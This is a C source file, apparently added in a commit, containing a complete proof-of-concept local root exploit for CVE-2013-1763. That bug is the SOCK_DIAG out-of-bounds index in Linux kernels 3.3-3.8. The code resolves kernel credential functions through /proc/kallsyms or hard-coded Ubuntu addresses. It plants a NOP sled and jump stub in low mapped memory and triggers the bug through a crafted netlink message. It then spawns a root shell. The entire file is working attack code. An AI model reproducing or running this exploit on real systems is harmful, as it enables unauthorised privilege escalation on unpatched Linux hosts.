1+ /*
2+ * quick'n'dirty poc for CVE-2013-1763 SOCK_DIAG bug in kernel 3.3-3.8
3+ * bug found by Spender
4+ * poc by SynQ
5+ *
6+ * hard-coded for 3.5.0-17-generic #28-Ubuntu SMP Tue Oct 9 19:32:08 UTC 2012 i686 i686 i686 GNU/Linux
7+ * using nl_table->hash.rehash_time, index 81
8+ *
9+ * Fedora 18 support added
10+ *
11+ * 2/2013
12+ */
13+ 14+ #include <unistd.h>
15+ #include <sys/socket.h>
16+ #include <linux/netlink.h>
17+ #include <netinet/tcp.h>
18+ #include <errno.h>
19+ #include <linux/if.h>
20+ #include <linux/filter.h>
21+ #include <string.h>
22+ #include <stdio.h>
23+ #include <stdlib.h>
24+ #include <linux/sock_diag.h>
25+ #include <linux/inet_diag.h>
26+ #include <linux/unix_diag.h>
27+ #include <sys/mman.h>
28+ 29+ typedef int __attribute__ ((regparm (3 ))) (* _commit_creds )(unsigned long cred );
30+ typedef unsigned long __attribute__((regparm (3 ))) (* _prepare_kernel_cred )(unsigned long cred );
31+ _commit_creds commit_creds ;
32+ _prepare_kernel_cred prepare_kernel_cred ;
33+ unsigned long sock_diag_handlers , nl_table ;
34+ 35+ int __attribute__((regparm (3 )))
36+ kernel_code ()
37+ {
38+ commit_creds (prepare_kernel_cred (0 ));
39+ return -1 ;
40+ }
41+ 42+ int jump_payload_not_used (void * skb , void * nlh )
43+ {
44+ asm volatile (
45+ "mov $kernel_code, %eax\n"
46+ "call *%eax\n"
47+ );
48+ }
49+ 50+ unsigned long
51+ get_symbol (char * name )
52+ {
53+ FILE * f ;
54+ unsigned long addr ;
55+ char dummy , sym [512 ];
56+ int ret = 0 ;
57+ 58+ f = fopen ("/proc/kallsyms" , "r" );
59+ if (!f ) {
60+ return 0 ;
61+ }
62+ 63+ while (ret != EOF ) {
64+ ret = fscanf (f , "%p %c %s\n" , (void * * ) & addr , & dummy , sym );
65+ if (ret == 0 ) {
66+ fscanf (f , "%s\n" , sym );
67+ continue ;
68+ }
69+ if (!strcmp (name , sym )) {
70+ printf ("[+] resolved symbol %s to %p\n" , name , (void * ) addr );
71+ fclose (f );
72+ return addr ;
73+ }
74+ }
75+ fclose (f );
76+ 77+ return 0 ;
78+ }
79+ 80+ int main (int argc , char * argv [])
81+ {
82+ int fd ;
83+ unsigned family ;
84+ struct {
85+ struct nlmsghdr nlh ;
86+ struct unix_diag_req r ;
87+ } req ;
88+ char buf [8192 ];
89+ 90+ if ((fd = socket (AF_NETLINK , SOCK_RAW , NETLINK_SOCK_DIAG )) < 0 ){
91+ printf ("Can't create sock diag socket\n" );
92+ return -1 ;
93+ }
94+ 95+ memset (& req , 0 , sizeof (req ));
96+ req .nlh .nlmsg_len = sizeof (req );
97+ req .nlh .nlmsg_type = SOCK_DIAG_BY_FAMILY ;
98+ req .nlh .nlmsg_flags = NLM_F_ROOT |NLM_F_MATCH |NLM_F_REQUEST ;
99+ req .nlh .nlmsg_seq = 123456 ;
100+ 101+ //req.r.sdiag_family = 89;
102+ req .r .udiag_states = -1 ;
103+ req .r .udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN ;
104+ 105+ if (argc == 1 ){
106+ printf ("Run: %s Fedora|Ubuntu\n" ,argv [0 ]);
107+ return 0 ;
108+ }
109+ else if (strcmp (argv [1 ],"Fedora" )== 0 ){
110+ commit_creds = (_commit_creds ) get_symbol ("commit_creds" );
111+ prepare_kernel_cred = (_prepare_kernel_cred ) get_symbol ("prepare_kernel_cred" );
112+ sock_diag_handlers = get_symbol ("sock_diag_handlers" );
113+ nl_table = get_symbol ("nl_table" );
114+ 115+ if (!prepare_kernel_cred || !commit_creds || !sock_diag_handlers || !nl_table ){
116+ printf ("some symbols are not available!\n" );
117+ exit (1 );
118+ }
119+ 120+ family = (nl_table - sock_diag_handlers ) / 4 ;
121+ printf ("family=%d\n" ,family );
122+ req .r .sdiag_family = family ;
123+ 124+ if (family > 255 ){
125+ printf ("nl_table is too far!\n" );
126+ exit (1 );
127+ }
128+ }
129+ else if (strcmp (argv [1 ],"Ubuntu" )== 0 ){
130+ commit_creds = (_commit_creds ) 0xc106bc60 ;
131+ prepare_kernel_cred = (_prepare_kernel_cred ) 0xc106bea0 ;
132+ req .r .sdiag_family = 81 ;
133+ }
134+ 135+ unsigned long mmap_start , mmap_size ;
136+ mmap_start = 0x10000 ;
137+ mmap_size = 0x120000 ;
138+ printf ("mmapping at 0x%lx, size = 0x%lx\n" , mmap_start , mmap_size );
139+ 140+ if (mmap ((void * )mmap_start , mmap_size , PROT_READ |PROT_WRITE |PROT_EXEC ,
141+ MAP_PRIVATE |MAP_FIXED |MAP_ANONYMOUS , -1 , 0 ) == MAP_FAILED ) {
142+ printf ("mmap fault\n" );
143+ exit (1 );
144+ }
145+ memset ((void * )mmap_start , 0x90 , mmap_size );
146+ 147+ char jump [] = "\x55\x89\xe5\xb8\x11\x11\x11\x11\xff\xd0\x5d\xc3" ; // jump_payload in asm
148+ unsigned long * asd = & jump [4 ];
149+ * asd = (unsigned long )kernel_code ;
150+ 151+ memcpy ( (void * )mmap_start + mmap_size - sizeof (jump ), jump , sizeof (jump ));
152+ 153+ if ( send (fd , & req , sizeof (req ), 0 ) < 0 ) {
154+ printf ("bad send\n" );
155+ close (fd );
156+ return -1 ;
157+ }
158+ 159+ printf ("uid=%d, euid=%d\n" ,getuid (), geteuid () );
160+ 161+ if (!getuid ())
162+ system ("/bin/sh" );
163+ 164+ }
0 commit comments